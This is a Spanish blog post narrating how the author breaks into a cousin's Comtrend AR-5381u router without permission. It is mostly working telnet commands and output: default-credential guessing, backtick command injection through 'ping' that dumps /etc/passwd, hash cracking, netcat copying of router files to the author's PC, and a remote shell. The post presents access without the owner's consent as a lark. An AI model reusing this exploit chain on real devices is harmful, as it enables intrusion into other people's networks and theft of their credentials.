Grasias por la WiFi primo!
EDIT: El router es un Comtrend AR-5381u distribuido por Jazztel
Nota: Esta es una historia real basada en hechos ficticios
Estaba un día trabajando en casa de mi primo y necesitaba acceso a la internet, por lo que obviamente le pedí la clave de la WiFi y de muy buena gana me la proporcionó, a lo cuál le agradecí su tan generoso gesto.
Para proseguir con mi actividad productiva necesitaba redirigir un puerto hacia mi máquina así que, dado que las cualidades técnicas de mi primo no van mas allá del facebook, decidí hacerlo sin preguntar y aquí comienza realmente la historia.
Me conecté al Router y comencé a probar las N combinaciones de cuentas de administrador que me conocía y alguna más que busqué por la web:
Trying 192.168.0.1…
Connected to 192.168.0.1.
Escape character is ‘^]’.
BCM96328 Broadband Router
Login: admin
Password:
Login incorrect. Try again.
Login: admin
Password:
Login incorrect. Try again.
Login: 1234
Password:
Authorization failed after trying 3 times!!!.
Sin resultado satisfactorio, me dirigí a mi primo con la oreja gacha herido en el orgullo hacker para preguntarle el usuario y contraseña, a lo cual me respondió con un «no se de que me hablas». Perfecto, estaba apunto de arruinar un día entero de trabajo…
El siguiente paso fue intentar escalar privilegios desde una cuenta de usuario para consultar, por suerte éste router tenía la contraseña por defecto user/user habilitada, pero obviamente no permitía cambiar ningún parámetro, primero los pasos básicos para obtener shell de alguna manera:
Trying 192.168.0.1…
Connected to 192.168.0.1.
Escape character is ‘^]’.
BCM96328 Broadband Router
Login: user
Password:
> ?
?
help
logout
exit
quit
reboot
dnsproxy
ping
lanhosts
passwd
restoredefault
save
swversion
uptime
cfgupdate
swupdate
exitOnIdle
wan
build
version
serialnumber
> sh
telnetd:error:607.372:processInput:380:unrecognized command sh
> version && sh
Warning: operator & is not supported!
A731-410JAZ-C05_R01.A2pD035g.d23i
> version ; sh
Warning: operator ; is not supported!
A731-410JAZ-C05_R01.A2pD035g.d23i
>
Vaya por dios, parece que se han tomado en serio la seguridad los que han hecho esta versión de firmware! Pensemos durante unos segundos qué más podríamos probar:
telnetd:error:790.629:processInput:380:unrecognized command `sh`
> `echo`
telnetd:error:793.334:processInput:380:unrecognized command `echo`
> ping `echo ls`
ping: ls: Unknown host
>
Bingo! Parece que tenemos una manera de ejecutar comandos, sigamos jugando un poco más:
ping: bin: Unknown host
> ping `ls /`
ping: bin: Unknown host
> ping `ls /etc`
ping: adsl: Unknown host
> ping `ls /etc/passwd`
ping: /etc/passwd: Unknown host
> ping `cat /etc/passwd`
ping: admin:XX.YUYYEYE.ER.s:0:0:Administrator:/:/bin/sh: Unknown host
>
Perfecto, ya tenemos la clave de admin que era lo que necesitábamos; después de preguntar a nuestro amigo John pude redirigir el puerto que necesitaba. Pero ya quee no parece tener la shell disponible facilmente seguí un vistazo a ver qué podemos sacar desde la cuenta de admin.
Como se puede ver a continuación, tiene mucho más comandos, en concreto me llama la atención el comando echo:
Trying 192.168.0.1…
Connected to 192.168.0.1.
Escape character is ‘^]’.
BCM96328 Broadband Router
Login: admin
Password:
> ?
?
help
logout
exit
quit
reboot
adsl
xdslctl
xtm
brctl
loglevel
logdest
virtualserver
ddns
df
dumpcfg
dumpmdm
meminfo
psp
kill
dumpsysinfo
dnsproxy
syslog
echo
ifconfig
ping
ps
pwd
sntp
sysinfo
tftp
wlctl
arp
defaultgateway
dhcpserver
dns
lan
lanhosts
passwd
ppp
restoredefault
route
save
swversion
uptime
cfgupdate
swupdate
exitOnIdle
wan
build
version
serialnumber
> echo `ls /`
bin data dev etc lib linuxrc mnt opt proc sbin sys tmp usr var webs
> echo `cat /etc/passwd`
admin:XX.YUYYEYE.ER.s:0:0:Administrator:/:/bin/sh support:XX.YUYYEYE.ER.s:0:0:Technical Support:/:/bin/sh user:XX.YUYYEYE.ER.s:0:0:Normal User:/:/bin/sh ftpuser:XX.YUYYEYE.ER.s:0:0:user for ftp:/:/bin/sh nobody:XX.YUYYEYE.ER.s:0:0:nobody for ftp:/:/bin/sh
Con el comando echo podemos ver la salida completa de los comandos ejecutados! Exploremos a ver que tiene este dispositivo:
[ expr ftpget killall logger md5sum nc test tftp top tty wget
>
Wow, hay un nc por ahí! Podremos usarlo para copiar ficheros dentro y fuera del mismo? Además tenemos un md5sum que nos viene perfecto para ver si la copia ha sido satisfactoria. Probemos con el binario /bin/httpd:
/bin/httpd
> echo `/usr/bin/nc`
BusyBox v1.00 (2011.10.28-05:10+0000) multi-call binary
Usage: nc [OPTIONS] [IP] [port]
Netcat opens a pipe to IP:port
Options:
-l listen mode, for inbound connects
-p PORT local port number
-i SECS delay interval for lines sent
-e PROG program to exec after connect (dangerous!)
> echo `cat /bin/httpd | /usr/bin/nc 192.168.0.8 3333`
> echo `/usr/bin/md5sum /bin/httpd`
12b41761c640455b87038fb32f49334e /bin/httpd
>
Comprobando en mi PC:
~/tmp$ md5sum httpd
12b41761c640455b87038fb32f49334e httpd
~/tmp$
Funciona perfectamente! Probemos a enviar un fichero…
#!/bin/sh
echo "w00w00"
~/tmp$
Y en el router:
> echo `sh /tmp/test.sh`
w00w00
>
Ya que tenemos el nc y que andar ejecutando comando a golpe de echo es un poco coñazo, una reverse shell nos vendría de lujo! Let’s try it, primero ponemos a escuchar el nc en el router:
Y después nos conectamos desde el PC:
ls /
bin
data
dev
etc
lib
linuxrc
mnt
opt
proc
sbin
sys
tmp
usr
var
webs
ls /tmp
/tmp
cd /tmp
ls
bootupmessages
test.sh
cat test.sh
#!/bin/sh
echo "w00w00"
Yeah! Pues nada, ahí tenemos control total de manera remota y ya podemos seguir jugando más comodamente, aunque eso será para otra entrada en el blog!
No me sigas por la calle! Sígueme por el twitter http://www.twitter.com/gabrielgonzalez